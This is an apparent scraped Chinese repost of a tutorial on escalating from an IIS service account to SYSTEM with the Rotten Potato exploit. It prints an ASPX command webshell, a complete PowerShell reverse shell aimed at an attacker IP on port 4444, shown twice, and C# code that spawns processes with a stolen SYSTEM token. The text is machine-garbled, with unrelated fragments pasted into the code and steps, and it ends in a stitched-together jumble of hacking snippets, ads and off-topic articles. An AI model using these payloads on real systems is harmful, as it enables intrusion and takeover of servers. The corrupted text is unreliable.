假设你之前没听说过Rotten Potato的话,请我们在阅览本文之前先看看这篇有关运用Rotten Potato完结服务帐号提权的【文章】。
它的完结机制可谓是适当杂乱,它容许我们阻拦NTLM认证应战恳求并假造政策用户的安全拜访令牌,而这个进程发生在DCOM激活进程中(政策用户账号需求工作BITS-后台智能传输服务服务实例)。
拜访令牌是什么?它是一种用来描述Windows进程或线程安全状况的政策,它跟会话Cookie有些相似。
而我们所需求的就是一个具有相应权限的进程。一般来说,用户所工作的SQL server服务或许ISS服务都会具有这种权限,所以假设我们可以拿到这些系统中的Shell或许在其间完结指令实行,那我们就成功了一半了。更加搞笑的是,微软并没有批改这个安全问题,或许他们以为这也是一种“专门规划的功用”吧…
我并不计划在本文中跟我们深化评论技术细节方面的内容,我只想告知我们如安在不依赖于Meterpreter以及incognito模块的状况下去运用这个PoC。
PoC运用
首要,我们需求在Windows(Windows 7-Windows 2016均可)上设备IIS,,然后针对迷糊检验,现在现已开发了一些结构,这些结构统称为迷糊器。常见的迷糊检验器有sulley(在FB上面现已有人总结过了,在此不再说明),Peach,SIPIKE(用在UNIX下)等。将“command”.aspx页面(代码在下面给出)复制到webroot目录之中。
下面给出的是一份简略的脚本代码:
< %@ Page Language="VB" Debug="true" >< %@ import Namespace="system.IO" % >< %@ import N6666端口amespace="System.Diagnostics"><script runat="server">Function RunCmd(command)Dim res as integerDim myProcess As New Process()Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)myProcessStartInfo.UseShellExecute = falsemyProcessStartInfo.RedirectStandardOutput = truemyProcess.StartInfo = myProcessStartInfomyProcessStartInfo.Arguments=”/c “ + commandmyProcess.Start()Dim myStreamReader As StreamReader = myProcess.StandardOutputDim myString As(1)将用户增加到人物组"Mailbox Import Export" String = myStreamReader.Readtoend()myProcess.Close()RunCmd= MyStringEnd Function</script><html><body><form action="cmd.aspx" method=POST>Enter your shell command <input type=text name=cmd size=4><input type=submit name=go></form>< %if request(“cmd”) <> “” thenresponse.write(“<pre>“+ RunCmd(request(“cmd”))+ “</pre>“)end if%></body></html>
Webshell正常作业,详细如下图所示(ISS默许的apppool):
我们所具有的权限信息如下所示(whoami/priv):
我们现已拿到了我们所需求的权限,而剩余的就是拿到一个交互式的反向Powershell:
powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$ *** = (IEX $d 2>&1 | Out-String );$ *** 2 = $ *** + ‘PS ‘ + (pwd).Path + ‘> ‘;$ *** y = ([text.encoding]::ASCII).GetBytes($ *** 2);$st.Write($ *** y,0,$ *** y.Length);$st.Flush()};$c.Close()”
非常好,我们的反向Shell也可以正常工作。
接下来,我们需求从GitHub代码库【传送门】中下载Rotten Potato Po3C(C#),然后在Visual Studio中翻开项目代码。
翻开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:
其间的mygetuser()函数告知我们,我们现在现已是“SYSTEM”了,假设我们直接在Meterpreter会话中工作我们的缝隙运用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特别用户了。
但是我们的要求是防止运用Meterpreter,所以我们需求用不同的 *** 来完结这个政策。
首要,我们需求保证悉数都可以正常工作,因此我们需求增加一下自定义代码:
为了得到SYSTEM令牌,我们需求调用QuerySecurityContext()
API,然后在新的状况下假造令牌。接下来,我们还需求测验在目录c:windows下创建一个子目录。完结了整个项意图编译之后,我们需求运用ILMerge.exe来创建一个独自的可实行程序。假设你选择的是Framework 3.5版别以上的渠道,别忘了批改代码中的 .NET结构版别。可供参考的样本代码如下所示:
ILMerge.exe Potato.exe NHttp.dllSharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll/out:myrotten.exe/targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”
这儿我就不介绍怎样将生成的可实行程序上传到c:windowstemp目录中了,由于你应该知道怎样用PowerShell的反向Shell来完结上传了吧?
假设悉数顺利的话,你应该可以通过发动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。
非常好,我们的缝隙运用PoC可以成功工作了,接下来我们持续往下看。
我们的战略如下:
其实我们并不需求跟“incognito“进行交互,我们预备通过指令行来发动一个新的进程,然后伪装成SYSTEM用户。
首要,我们需求对Program.cs的Main()函数进行一些调整:
我们需求在公共静态字符串CmdLine中存储我们即将调用的程序称谓,例如一个反向PowerShell。
接下来就是最重要的部分了,那么为了运用SYSTEM令牌生成一个新的进程,我们需求调用哪一个Windows API呢?
考虑顷刻之后,我们规划出了以下两种备选计划:
计划一计划二BOOL WINAPI CreateProcessAsUser(_In_opt_ HANDLE hToken,_In_opt_ LPCTSTR lpApplicationName,_Inout_opt_ LPTSTR lpCommandLine,_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,_In_ BOOL bInheritHandles,_In_ DWORD dwCreationFlags,_In_opt_ LPVOID lpEnvironment,_In_opt_ LPCTSTR lpCurrentDirectory,_In_ LPSTARTUPINFO lpStartupInfo,_Out_ LPPROCESS_INFORMATION lpProcessInformation);
BOOL WINAPI CreateProcessWithTokenW(_In_ HANDLE hToken,_In_ DWORD dwLogonFlags,_In_opt_ LPCWSTR lpApplicationName,_Inout_opt_ LPWSTR lpCommandLine,_In_ DWORD dwCreationFlags,_In_opt_ LPVOID lpEnvironment,_In_opt_ LPCWSTR lpCurrentDirectory,_In_ LPSTARTUPINFOW lpStartupInfo,_Out_ LPPROCESS_INFORMATION lpProcessInfo);
这些函数其实都是差不多的,它们都承受令牌来作为输入参数。但它们的首要差异在于:
CreateProcessWithTokenW()运用起来约束更少一点,由于它只需求SeImpersonate权限。但是,它好像无法在Session 0(我们的shell工作在其间,由于我们是从IIS服务中发动的shell)中正常作业。
CreateProcessAsUser()相同需求SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中工作。
因此,关于我们来说,我们当然要选择CreateProcessAsUser()了。我们需求设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。
public class MyProcess { [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);} . . . . public bool RunMyProcessAsUser(IntPtr hToken) { MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION(); MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES(); MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO(); try { sa.Length = Marshal.SizeOf(sa); si.cb = Marshal.SizeOf(si); si.lpDesktop = String.Empty; bool result = MyProcess.CreateProcessAsUser( hToken, Program.CmdLine, String.Empty, ref sa, ref sa, false, 0, IntPtr.Zero, @"C:", ref si, ref pi ); if (!result) { int error = Marshal.GetLastWin32Error(); Console.WriteLine(String.Format("RunMyProcess Error: {0}", error)); return false; } Console.WriteLine(&qu
ot;Executed:" + Program.CmdLine); Process currentProcess = Process.GetCurrentProcess(); } finally { if (pi.hProcess != IntPtr.Zero) MyProcess.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero) MyProcess.CloseHandle(pi.hThread); } return true; }声明完必要的数据结构以及API调用之后,我们则需求调用CreateProcessAsUser()来传递必要的参数,首要就是我们的令牌,其次是需求实行的指令以及某些默许装备值。需求提示我们的是,我们的作业目录为C:。
正如你所看到的那样,在创建进程之前,我们不计划通过调用DuplicateTokenEx()函数来复制我们的令牌,由于我们没必要这样做。
我们将在下面代码中调用我们的函数:
现在,我们需求把悉数的东西整合起来进行编译,并对我们的效果进行测验。但是在初步之前,我们要把我们的rev.bat上传到c:windowstemp目录中。
powershell -nop -c“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”
接下来就是见证奇观的时刻了!
在PS反向Shell(IIS用户)中,我们可以调用我们的myrotten.exe了:
我们的监听控制台状况如下所示:
总算成功啦!
总结
正如你所看到的那样,在这篇文章中我只跟我们介绍了怎样让相关代码正常作业,我们也可以依据自己的需求来批改项目代码(C#),也欢迎有才能的同学们可以去本项意图GitHub上奉献自己的代码。
本文翻译自:decoder.cloud
如若转载,请注明出处:decoder.cloud黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了
Outlook有一个dll文件OLMAPI32.dll,担任供应一些API来获取outlook账号简介信息,以及从outlook的收件箱、发件箱这样的文件夹中读取文件内容。模块2会从系统注册表中读取OLMAPI32.dll的完全途径,然后加载该dll文件并获取所需的
API。该模块中的悉数字符串也都是加密的。图4是从注册表中获取的OLMAPI32.dll的完全途径。ps |grep .tunneld这儿我们建议运用轻量级的Linux ISO镜像,容许Ethcer更加快速的 *** live USB。任何容许用户运用操作系统而不用设备的Linux ISO镜像都可以。#define __NR_connect (__NR_SYSCALL_BASE+283)有了Rotten Potato,我再也不需要Meterpreter了黑客技术群吧dlclose(handle);我们可以看到,我们现已得到了一台感染了meterpreter的主机,运用这个meterpreter,我们可以设置一个反向端口转发,然后在我们的主机上通过端口4444来接收meterpreter联接。远程监听端口8445(meterpreter)将接收来自端口445的联接数据,然后劫持来自445的联接,并将它们转发到metasploit。接下来,我们通过劫持某些凭证来看看怎样劫持Windows 445端口:下面我们工作一下这个程序看看,批改Activity EntryPoint Smali文件
图4 服务 Console.WriteLine(a *** .FullName);$ brctl addif br0 eth1黑客技术群吧
那么选择了加密算法,该加密什么内容呢?加密的是 用户的暗码 a 以及我们在服务器端实时生成的随机盐 b,即 a+b
es - nproc 2048useradd aa假设是,侵犯是持续性的吗?信息收集因此提示我们,自己用的手机就别ROOT了,一般运用就不要给太多权限了,哎,仍是老梗,说的再多,依然有人不听欸。有了Rotten Potato,我再也不需要Meterpreter了
黑客技术群吧SERVICE_ENUMERATE_DEPENDENTSC:Usersthel3l> netstat -ano C:Usersthel3l> netsh firewall show config 安全研究员Michael Cobb发现了一种新的iOS侵犯技术,名为SandJacking,它通过运用Xcode中的证书缝隙,容许恶意用户将运用程序加载到
受害者的设备上。Site1#ping 101.1.2.3 source 101.1.1.2假设我们可以创建一条Outlook规则,政策是实行payload——宣告邮件的时分即触发这条规则,也就是说政策设备发送一封邮件,就能实行payload,是不是听起来很不错?就是这样,现在你应该可以重启USB Armory了,然后初步在任何可以刺进USB的当地获取凭证。黑客技术群吧
Forwarding local port 1234 to remote port 1234
#激活会话重续前进https功用
梦想一下,我们不是在考虑从”Steve-Admin”账户一步步提高到企业处理员的途径,而是在考虑一条从华盛顿的西雅图到俄勒冈的波特兰的路。对人类而言,看着地图就能很简略看出5号州际公路就是我们需求的。但是,对电脑来说,有必要通过数学核算来核算出西雅图到波特兰的途径(类比于“Steve-Admin”账户到企业处理员的途径,条件是这条途径存在)。该技术一般运用处理器通讯接口并运用协议、加密算法或这些算法中的安全缝隙来进行侵犯。软件侵犯取得成功的一个典型事例是对前期ATMELAT89C系列单片机的侵犯。侵犯者运用了该系列单片机擦除操作时序规划上的缝隙,运用自编程序在擦除加密锁定位后,间断下一步擦除片内程序存储器数据的操作,从而使加过密的单片机变成没加密的单片机,然后运用编程器读出片内程序。
有了Rotten Potato,我再也不需要Meterpreter了Windows 称谓解析之 LLMNR 协议
12月25日上午,六家互联网公司(今日头条、美团大众点评网、360、腾讯、微博、小米科技)一同宣告联合声明:呼吁有关运营商严峻冲击流量劫持问题,重视互联网公司被流量劫持或许导致的严峻结果。
Chozick 说,现在的固态硬盘(SSDs)和闪存会更简略“淹死”,它们大多配有板载加密,也就是说设备的电路板有必要解码存储芯片上的悉数记载。但是,固态硬盘现在只占有1/3 PC 硬盘商场,因此传统的旋转驱动依然是首要关注点。[1][2]黑客接单网
本文标题:黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了
手机能上的黑客网 1、下载HackodeHackode软件才能进入黑客网站oppoa3手机。Hackode是时下最热门的Android端黑客工具之一,用户可以免费在GooglePlay应用商店中下载和...
所谓背对背信用证,是指中间商在收到一个以自己为受益人的信用证的同时,以该信用证为背景,另外以自己为开证申请人再开出一个信用证。只是这种操作要。 1、所谓背对背信用证,是中间商分别与实际供应商和实际买家...
左氧氟沙星属于喹诺酮类抗生素的代表性药物,在临床上也被广泛的应用于对抗各种细菌感染的情况,如泌尿系统感染,呼吸系统感染,胃肠道感染,骨关节感染,皮肤和软组织感染等方面,都有着广泛的临床应用,其临床应用...
因为黑客电影的缘故,大部分男孩小时候都有一个黑客梦吧,但是你知道嘛如果你不会这个你不能算一名合格的黑客,那就是社会工程学,我们这里叫它社工学,这是每一个黑客必学的。...
想要提高产物的销售额,转化率和用户代价是重点。本文从引流、售前售中和售后三个阶段,对影响店肆转化率的重要因素举办了阐明总结,供各人一同进修和参考。 上一篇讲了流量,当流量到达之后是否可以形成转化对我...
汽油价格经过一次上调之后现在已经接近到8元的水平了,那么在这样的背景下大家的出行成本又增加了不少。最新消息:国际油价11日收盘下跌。 7月11日,受利比亚宣布恢复东部原油出口影响,国际油价暴跌。...